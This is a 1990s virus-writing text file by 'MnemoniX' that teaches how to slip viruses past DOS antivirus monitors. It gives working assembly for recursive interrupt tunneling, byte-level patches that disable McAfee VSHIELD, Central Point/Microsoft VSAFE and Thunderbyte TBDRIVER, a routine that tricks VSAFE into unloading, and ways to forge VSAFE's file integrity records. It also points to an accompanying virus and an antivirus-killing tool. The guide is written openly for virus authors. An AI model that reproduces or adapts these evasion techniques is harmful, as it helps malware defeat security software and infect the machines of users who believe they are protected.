                            ANTI-Anti-Virus Tricks
                                 by MnemoniX
                             Version 1.00 - 1/96

        Improved antivirus programs got you down? Don't worry - with the help
of this file you can create a virus that will surpass the protection of most
computers out there, computers whose hapless users are convinced are truly
"protected."

Before we begin, I must first introduce the concept of ...

                           ***********************
                           * RECURSIVE TUNNELING *
                           ***********************

        Recursive tunneling is the practice of tracing the code attached to
a particular interrupt and finding the original DOS or BIOS code, surpassing
all resident programs (AV monitors included.) This involves using the trap
flag in the flags register, which can be turned on with the following code:

                                mov     ax,100h ; set bit 8 (trap flag)
                                push    ax
                                popf

        Once this trap flag is set, a type 1 interrupt is generated after
each instruction. We can catch this interrupt and trace the interrupt 21h
code, for example, by calling interrupt 21 with the trap flag on. (Note that
you must CALL the interrupt 21h routine, and not run it using INT 21h;
otherwise, the trap flag is automatically turned off when the INT instruction
is run.) To find the original DOS or BIOS code, then, one must:

                1) Attach a tunneling routine to interrupt 1.
                2) Find the original segment of the DOS or BIOS code
                   we are tracing. (there are various ways to do this)
                3) Set the trap flag.
                4) Call the interrupt routine (NOT with an INT). Do it like
                   this:

                        xor     ax,ax
                        mov     ds,ax
                        pushf
                        call    dword ptr ds:[21h * 4]  ; calls INT 21h

                5) Tunneling routine should trace code until original DOS
                   or BIOS segment is reached by continually checking segment
                   of current instruction. Once DOS or BIOS segment is
                   reached, the current offset must be saved and tunneling
                   routine stops checking code.
                6) Clear trap flag by clearing bit 8 in flags.


        When address of original interrupt is found, the interrupt may be
called without the resident programs in memory knowing anything about it.

        A note: The trap flag may be turned off by a POPF or IRET instruction,
which will screw up your routine. To prevent this, you must check the current
instruction and see if it is a POPF or IRET. If so, we must set bit 8 of the
flags value on the stack BEFORE the POPF or IRET is processed, to make sure
the trap flag stays set. (An interrupt call saves the flags value on the
stack, and thus the flags are popped after CS:IP when an IRET instruction is
run. In case you didn't know.)

        Similarly, you can partially hide the existence of your tunneling
routine. Whenever an INT, INTO, or PUSHF instruction is reached, you can
alter the value on the stack after the instruction is run. This is generally
not necessary, however, and does not totally hide the tunneling routine
anyway - there are many other ways to generate an interrupt, thus causing the
flags value to be saved and the trap discovered.

        Recursive tunneling will enable you to engage in questionable actions
without knowledge of AV programs. However, this does not render these actions
undetectable. TBDRIVER, for example, can detect and warn the user of a
recursive tunneling routine. And although VSAFE can't find a tunneling rou-
tine, it can detect changes to a program when the program is run again. So
what does one do to make these programs look the other way?

This is where we introduce the concept of ...

                                ************
                                * PATCHING *
                                ************

        Patching involves fixing up a resident program to alter its perfor-
mance. If a hypothetical program is to scan for viruses every time a program
is run, it could capture interrupt 21h, and somewhere along the line it could
use code like this to scan every program being run :

int_21_code:                            ; called when interrupt 21h is called
                cmp     ah,4Bh          ; is a program being executed?
                je      scan_program    ; if so, scan it

                jmp     original_int_21 ; if not, ignore it

        This program's ability to scan for viruses is dependent upon the JE
instruction that checks for every call to interrupt 21h with AH=4Bh (the DOS
program execution function.)

        Now, if you wanted to deactivate this program, you could search for
this little snippet of code when you tunnel through interrupt 21h, and upon
finding it, change the two-byte JE instruction into two NOP's:

int_21_code:
                cmp     ah,4Bh          ; is a program being executed?
                nop                     ; doesn't matter, because even if it
                nop                     ; was we would return to the original
                                        ; interrupt 21h anyway
                jmp     original_int_21 ; see?

        After this is done, the program won't find ANY viruses, and it becomes
a waste of memory - all because two bytes were changed!

        Note that if this same program caught interrupt 13h, or also checked
programs as they were opened, it would still do these things. We have simply
prevented the program from checking programs as they are executed. In many
cases, a single patch like this will suffice.

        This is the essence of patching, and an example of using patching in a
tunneling routine to deactivate certain popular AV programs is found in the
program AV-KILL.ASM. This checks for the existence of TBDRIVER, VSAFE, and
VSHIELD in memory, and patches them if they are found.

And now, I will discuss the various ways to defeat individual virus scanners.
I should note that these are based on SPECIFIC VERSIONS of SPECIFIC MONITORS,
and will NOT work for every version of every monitor. These may be updated as
new monitors come out.

                             ********************
                             * VSHIELD (McAfee) *
                             ********************

        Do you really need to guard against VSHIELD? Well, a new virus will
never be detected by VSHIELD, but future versions may be able to scan for
that same virus. Fortunately, VSHIELD is quite easy to disarm and render
useless.

PATCHING VSHIELD

        This patch will prevent VSHIELD from detecting any viruses. This
was tested on VSHIELD V106 - an old version - and probably will not work
on every version, but what the hell. There is a portion of the code which
looks like this:

        80 FC 0E        cmp     ah,0E
        74 06           je      0A1C
        80 FC 4B        cmp     ah,4B
        74 09           je      0A24

        To fix this up, you can :
        
        replace the first byte (80) with CB (a RET)
          
        OR 

        replace the second JZ (74 09) with two NOP's (90 90)

Either way VSHIELD will no longer scan files as they are executed.

How can you get the original host program past VSHIELD, before VSHIELD has
been patched? Just encrypt it or PKLITE it. Simple enough.

                ****************************************************
                * VSAFE versions 1 and 2 (Central Point/Microsoft) *
                ****************************************************

        While VSAFE 1.0 was conquered a long time ago, not much seems to have
been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
will make it much more viable, since it is a popular AV monitor. The old
tricks that could be played on VSAFE 1 (which was pure crapware) no longer
work like they used to. Here is what I was able to find though a little bit of
investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
be similar for other versions except where noted.)
        Firstly, as with all versions, one can check for the presence of VSAFE
in memory with the following code:

                        mov     ax,0FA00h
                        mov     dx,5945h        ("VS")
                        int     16h

        If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
will return constant values whose significance is unbeknownst to me - they
don't seem to be version numbers.
        Next, the old trick which deinstalled VSAFE, which was the same as the
above code except AX = FA01h, won't cut it anymore. Nor will it change the
VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
make VSAFE turn the other way? Hardly - there are still ways around it.
(Remember, _no_ program is immune to being duped.) 
        The two functions to deinstall or change VSAFE options are still there,
but now there's a twist: It checks to see which program is running before it
will act. This is a pain to get around, but not impossible. You can find the
name of the current resident program in the DOS environment, which is found
by getting the DOS environment segment (at offset 2Ch in the PSP), finding
the name of the current program (the environment table is at offset 0, then
two zero bytes signal the end of it, and then there's another two bytes, after
which the name of the current program is found) and changing it to
"\VSAFE.EXE".
        Actually, you don't even need to go to all that trouble. You see,
VSAFE doesn't actually check the filename; it just makes a checksum of the
letters in the filename minus extension. I am hesitant to go into the details
of this now; if you want to see how the checksum works examine it yourself.
Suffice it to say that if, before the period in the filename, you insert the
three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
cries for an example?

                mov     ax,ds:[2Ch]             ; get environment segment
                mov     es,ax

                xor     di,di                   ; after the table of environ-
                mov     cx,17D0h                ; ment strings, we will find
                xor     al,al                   ; the current program name

find_environ_end:
                repnz   scasb                   ; scan through environment
                cmp     byte ptr es:[di],0      ; end of table?
                jnz     find_environ_end

                add     di,3                    ; address of program name
                mov     al,'.'                  ; find extension
                repnz   scasb                   ; extension found

                mov     si,es:[di - 3]          ; save orig. program name
                mov     es:[di - 3],76FFh       ; modify program name
                mov     bh,es:[di - 4]          ; make VSAFE think it is
                mov     byte ptr es:[di - 4],5Ch ; calling itself

; VSAFE 2 may now be unloaded

                mov     ax,0FA01h               ; unload VSAFE
                mov     dx,5945h
                int     16h

; fix up program name again

                mov     es:[di - 3],si          ; replace orig. program name
                mov     es:[di - 4],bh

        Here is a listing of all the VSAFE functions you need to know.

        (All functions called by INT 16h with DX = 5945h)
          AX = FA00h - Test for VSAFE resident
                        DI=4559h on return is res.
          AX = FA01h - Deinstall VSAFE
          AX = FA02h - Change VSAFE flag settings
                        BL=bits 0-7 represent settings for flags 1-8, resp.
                        on return, CL holds previous flag setting
          AX = FA05h - Turn popup menu on/off
                        BL=0 (on) or 1 (off)

        Version 2 checks name of program currently running before executing
        functions FA01, FA02 or FA05.

        Deinstalling VSAFE works well if nothing is loaded after it in
memory. However, this may not be the case, and if other programs are loaded
VSAFE gives an error message. Hence I don't consider this the best way to
deactivate the program. A better way would be to patch up VSAFE as described
below, and upon writing the disk, save the VSAFE flags and switch them all
off, then restore when done. This should keep it quiet.
        If you're too lazy to mess around with that, there's an even easier
way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
and you can modify it directly upon finding VSAFE's segment (check INT 16h's
segment.) This particular method will only work for version 2.2; the address
is probably different for other versions.
        Moving on, one will find that the old CHKLIST.CPS files have now been
replaced by SMARTCHK.CPS files, which have a different format. (The MSAV 
equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
record is 60 bytes long, and consists of the following data:

                Data                            Offset  Length
                ----------------------------------------------
                ASCIIZ filename                 0       13
                File attributes                 13      1
                File size                       14      4
                File time                       18      2
                File date                       20      2
                First 32 bytes of file          22      32
                Checksum data                   54      4
                Apparently always set to zero.  58      2

        Now, a VSAFE-smart virus could increase its stealthiness by modifying
this data, which isn't as much of a pain as it may sound. It could modify the 
filenames, so VSAFE no longer properly checks the programs. A more ambitious
programmer could look for the filename, change the first few recorded bytes of
the file, change the date, and fix the checksum. But how do we calculate the
checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
calculated like this:

                DS:SI = offset of first 64 bytes of file
                        (or if file is < 64 bytes long, the entire file)
                BX = high word of 32-bit checksum
                DX = low word of 32-bit checksum
                CX = 64 (for loop) or size of file if < 64 bytes
                AH = 0 (for addition)

        vsafe_checksum:
                lodsb                   ; add first byte
                add     dx,ax
                adc     bx,0
                lodsb                   ; subtract second byte
                sub     dx,ax
                sbb     bx,0
                lodsb                   ; XOR third byte by first checksum
                xor     dl,al           ; byte only
                sub     cx,3
                cmp     cx,2
                ja      vsafe_checksum

The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
routine yet - it's much more complicated. But you're welcome to look.
        The included UNSAFE.ASM program is a virus, and demonstrates the
manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
demonstration, try setting the write protect flag on, and then infect a few
files. VSAFE will not warn you of the write, because the flags are temporarily
turned off by the virus when it spreads. Examine and learn.

PATCHING VSAFE

When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
checks for different DOS calls, as all monitors do. There is a portion of the
interrupt 21 code which looks like this :

80 FC 4B        cmp     ah,4B           ; this catches the DOS execute program
74 62           jz      0BAF            ; call so VSAFE can do program checks
80 FC 4C        cmp     ah,4C           ; this catches a DOS terminate program
74 33           jz      0B85            ; call so VSAFE can check memory
80 FC 00        cmp     ah,0            ; another terminate program call check
74 15           jz      0B6C

        If we set the trap flag, set AH to 99h (or any nonexistent function
call), call interrupt 21 and scan the code with a tracing routine, we will
eventually find this point. Once we do, it's quite simple to eliminate VSAFE
checks when a program begins and ends:

80 FC 4B        cmp     ah,4B
90              nop                     ; the JZ's have been replaced with two
90              nop                     ; NOP's each ... VSAFE will no longer
80 FC 4C        cmp     ah,4C           ; check programs as they are run,
90              nop                     ; or check memory when a program
90              nop                     ; terminates, because it won't know
80 FC 4C        cmp     ah,0            ; when these things happen anymore.
90              nop
90              nop

        (A brief note: A program can also terminate via interrupt 20h, and
VSAFE _will_ check memory if a program terminates this way. This interrupt
is more difficult to tunnel - once the DOS segment is reached, the tunneling
must be stopped - but it is not impossible. A similar patch could be created
to solve the problem.)

                               ***************
                               * Thunderbyte *  
                               ***************

TB MONITORS

        All TB monitors work through TBDRIVER and hook the critical interrupts
21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
if TBDRIVER's ability to detect such tunneling is deactivated, however.


TBDRIVER'S DETECTION OF RECURSIVE TUNNELING

        TBDRIVER is resistant to most recursive tunneling. When an interrupt
21 is called, TBDRIVER checks the status of the trap flag for a recursive
tunneling routine and will display a message if it is found to be set. The
code that does this appears virtually impenetrable, and looks like this:

(This is from TBDRIVER version 6.14; it may be different now but the idea
 is basically the same.)

                cli                     ; clear interrupts to prevent
                pushf                   ; interference ...
                cld
                push    ax              ; what this, in essence, does is
                push    bx              ; that is saves a value on the stack,
                xchg    ax,bx           ; pops it, decrements the stack ptr.
                pop     ax              ; to point to it again, pops it again,
                dec     sp              ; and if the value changed, an int-
                dec     sp              ; errupt must have occured. Since the
                pop     bx              ; interrupt flag is off, the only
                cmp     ax,bx           ; interrupt this could be is a type 1 -
                pop     bx              ; the trap flag interrupt routine.
                jz      02A1            ; If two values popped are different,
                                        ; it warns the user.

PATCHING TBDRIVER

        Now, there is no way to fool this routine. You can't hide the change
to the value on the stack. However, you _can_ scan for this code in your
tunneling routine, and modify it if it is found. You could look, for example,
for the following code in the interrupt 21 routine:

5C              pop     bx
3B C3           cmp     ax,bx
5B              pop     bx
74 0D           jz      02A1

        If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
The next step is modifying the code to make it useless.
        The JZ instruction is the test. If AX and BX are equal, then the Z
flag is set, and if the Z flag is set, the code is not being traced as far
as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
_always_ set. You could do this by changing the instruction to a JMP:

EB 0D           jmp     02A1

        Now you find the original offset of DOS's interrupt 21 with the same
tunneling routine, and call it directly, bypassing all TB utilities.

DISABLING TBSCANX

        Earlier versions of TBSCANX hook INT 2Fh when they load, and install 
the following functions :

        AX = CA00h      Test for installation (return FF in AL if res.)
                        BX = 'TB'  ('tb' on return if resident)
        AX = CA04h      Scan file
                        DS:DX = program to be scanned
                        (carry set means infected, ES:BX=filename)

With a little work and a good debugger, you can trace the code of other AV
monitors and find similar code in the interrupt 21h or 13h routines. If you
know what you're doing, you could create similar patches to the ones above
for these monitors. The same could be done with non-resident virus scanners,
although this is a more difficult job, and not really worth it in my opinion
since most good scanners check themselves and probably won't find any _good_
new virus anyway.

                                                - MnemoniX



